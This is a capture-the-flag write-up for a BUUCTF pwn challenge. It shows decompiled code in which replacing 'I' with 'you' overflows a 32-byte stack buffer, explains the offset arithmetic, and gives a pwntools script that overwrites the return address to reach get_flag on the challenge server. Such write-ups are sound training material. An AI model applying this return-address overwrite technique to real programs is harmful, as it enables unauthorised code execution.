Reverse
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}
It was found that the address of the get_flag function is 0x8048F0D
int get_flag()
{
return system("cat flag.txt");
}
Attack ideas
The size of s is 3Ch-1Ch=32, and the maximum input size of fgets is also 32 bytes. The buffer overflow vulnerability cannot be executed, but the program will convert the character 'I' to 'you', that is, a character 'I' is actually It can occupy 3 bytes after the program execution ends.
The total size of the stack is 60 bytes, and s occupies 4 bytes, so 64 bytes are needed, which requires 20 'I' characters and 4 ordinary characters plus the address of the get_flag function
script attack
from pwn import *
p=remote('node4.buuoj.cn',27968)
payload=b'I'*20 +b'a'*4+ p32(0x8048F0D)
p.sendline(payload)
p.interactive()